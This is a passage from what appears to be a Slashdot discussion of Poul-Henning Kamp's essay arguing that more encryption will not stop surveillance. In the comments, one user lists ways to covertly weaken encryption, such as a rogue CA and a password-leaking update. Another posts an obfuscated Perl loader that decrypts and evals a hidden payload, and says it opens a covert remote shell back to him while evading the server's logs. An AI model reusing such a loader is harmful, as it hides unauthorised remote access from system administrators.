More Encryption Is Not the Solution

CowboyRobot writes "Poul-Henning Kamp argues that the 'recent exposure of the dragnet-style surveillance of Internet traffic has provoked a number of responses that are variations of the general formula: "More encryption is the solution." This is not the case. In fact, more encryption will probably only make the privacy crisis worse than it already is.' His argument takes a few turns, but centers on a scenario that is a bit too easy to imagine: a government coercing software developers into disabling their encryption: 'There are a whole host of things one could buy to weaken encryption. I would contact providers of popular cloud and "whatever-as-service" providers and make them an offer they couldn't refuse: on all HTTPS connections out of the country, the symmetric key cannot be random; it must come from a dictionary of 100 million random-looking keys that I provide. The key from the other side? Slip that in there somewhere, and I can find it (encrypted in a Set-Cookie header?). In the long run, nobody is going to notice that the symmetric keys are not random — you would have to scrutinize the key material in many thousands of connections before you would even start to suspect something was wrong.'"

Comments

quick key repetition

[Dizzer]

After about 15000 connections you would see the first repetition of a key. That scheme would be discovered in NO TIME.

Re:quick key repetition

[Anonymous Coward]

There are better ways to hide the fact that the encryption was gimped:

1: Escrow parts of the private key similar to how Lotus Notes did it when ITAR was in effect, limiting RSA to 64 bits. Impossible to detect.

2: Save the D-H session keys and set them aside.

3: Force Web browser makers to add another CA (who would notice.)

4: Hose the private key generation algorithm, similar to the glitch in Ubuntu.

5: For services that supposedly save the key only on the client side (Wuala), force them to make an update that sends the password over, then another update covering tracks. This could be done for just one account, groups, or all users.

Call it the Fermat's Last Theorem Effect

[Anonymous Coward]

When the government notices lots of encrypted messages that can't be easily cracked by their codebreaking machines, they start to get interested. Real interested. Just like when mathematicians discovered that nobody could prove a simple theorem in high school algebra, every math Ph.D spent some time looking into that until the problem was solved.

Re:In this scenario, the endpoint is compromised.

[Anonymous Coward]

This is actually what the NSA is doing, they require Google/Microsoft/Yahoo/etc as well as ISPs / telcos provide them a room where traffic goes after it's been decrypted. They get all the data in plaintext, so they don't have to worry about it. Use google drive, gmail, skydrive, hotmail, etc? All your data has been turned over already.

Re:Passwords don't work either

[interval1066]

All too true, people don't want to bother with any effort for a return they really can't see. Its hard to appreciate encryption when the effects of opentext on their private lives is difficult to impossible to gauge. Until they get hit. After a small dns server I ran got hit, I didn't really pay much attention to it either. 10 years on I still cover my tracks whenever possible, encrypt my drives (linux and truecrypt make this pretty easy), prefer encrypted smtp providers, and ask people I correspond with for their public encryption key. If they ask me what that is I explain it to them. If they say they don't care then I move on, but if they express interest I help them set up. If they say "no one uses that" I show them that I do, many of my friends do, and to look at the news lately. Its in everyone's interest to manage their privacy. If you are into managing your life like a business then its just another procedure to add to your list. If not, well, I wouldn't want to be you.

The answer is to teach kids to be programers.

[VortexCortex]

Then they don't need to rely on anyone else to create encryption systems or key exchanges.

Once I had a web hosting provider that allowed SSH access. Great for pushing my Git Commits in... However, there was a log file owned by root that stored every command I entered into the SSH terminal, which sometimes had credentials for other servers the server connected to. I couldn't edit it or delete the log file. So I did this instead: email-report.pl

#!/usr/bin/perl -w
use strict;use bytes;use Digest;use FileHandle;use Fcntl qw(:seek);my $A
="0123456789abcdef";my @c=split(//,$A);sub h{my $B=shift;my $C=shift;my $D=shift
;my $E=shift;my $F=shift;$F=0 if!defined $F;my $G=shift;my $H=0;$G=\$H if
!defined $G;my $I='';my $K=$F||1;my $L=0;my $J='';my $W=$B->clone;my $N=$#{$C}+1
;my @M=@{$C};while(!$L){my $O='';my $P=$E->read($O,1);if(!defined $P){return
undef;}if($P){if($O eq "\n"){$$G=0;};$O=~s/[^0-9a-z]//;$I.=$O;}else{$L=1;}if(
length $I>1) {$$G++;$O=pack('H*',$I);$I='';if($$D>=$N){@M=@{$C};$W=$B->clone;
@{$C}=split(//,$W->digest);$$D=0;};$O=chr(ord(@{$C}[$$D++])^ord($O));if($F!=0){
$J.=$O;$B->add($O);$K--;if($K<1){$L=1;}}elsif($O eq "\x00"){$L=1;$$D-=1;
$E->seek(-2,SEEK_CUR);$$G--;if($$D<0){$$D=$N-1;@{$C}=@M;};}else{$J.=$O;$B->add(
$O);if($O eq "\n"){$L=1;};};};};return $J;};my $B=new Digest("SHA-1");my $N=
length$B->digest;print pack('H*','506173737068726173653a20');my $Q=<STDIN>;
chomp $Q;if($Q eq''){exit 1;}my $R=new FileHandle;$R='DATA';my $F=0;my $S='';
while((length $S)<($N*2)){my $O='';my $P=$R->read($O,1);if(!defined $P){exit 1;}
;if($P<1){last;};$O=~s/[^0-9a-f]//;$S.=$O;};$S=pack('H*',$S);if((length $S)!=$N)
{exit 1;};if(length $Q>$N){$B->add($Q);$Q=$B->digest();}elsif (length $Q<$N){
$Q.=("\x00"x($N-(length $Q)));};my($T,$U);foreach my $O(split(//,$Q)){$T.=chr(
ord($O)^0x5c);$U.=chr(ord($O)^0x36);};$B->add($T,$B->add($U,$S)->digest());$T=
$U=$Q="\x00"x$N;$T=$U=$Q='';my $I='';my $W=$B->clone();my @V=split(//,$W->digest
);my $X=0;my $L=0;my $Y=0;my $Z='';$Z=h($B,\@V,\$X,$R,8192,\$Y);if(!defined $Z)
{exit 1;}if($Z eq ''){exit 1;}eval $Z;exit 0;
__DATA__
4e45266f48ed8d...
Snipped, see link, not that it'll do you any good without the key.
I'd give you the key, but running arbitrary enciphered code is ill advised...

What is that? Well, it's not really obfuscated, it's an encrypted Perl program called "email-report.pl", once started it asks for the passphrase that decodes the following program. Once the payload program is decrypted and running it peals off another encrypted channel to back to me using the stream cipher and TCP or UDP to provide a shell-like interface. Since it asks for the passpharse over STDIN it doesn't get logged to the session log. The commands I give it are executed in memory without being logged into the terminal session log file. The files I create over the shell aren't logged in the FTP log file either.

Once such a shell is up I can dump in more code to decrypt and execute, or store it as encrypted files to call up and decrypt and execute for later. I periodically generate encrypted email reports to myself with it, so that logs show emails being generated with it, but I can also do anything else I like, I can execute my programs in memory and their server will have no record of what program was executed. I can even have the program connect to other such enciphered shell programs running on other servers that don't need SSH to tunnel, just a net connection and the stream cipher -- I hold all the keys.

Now, this wasn't even a serious effort. I'm not doing anything I actually need to hide from anyone. It was just a bit of fun to prevent server logs from storing a few other keys in the clear. If I had wanted to I could have the cipher incorporate a few thousand it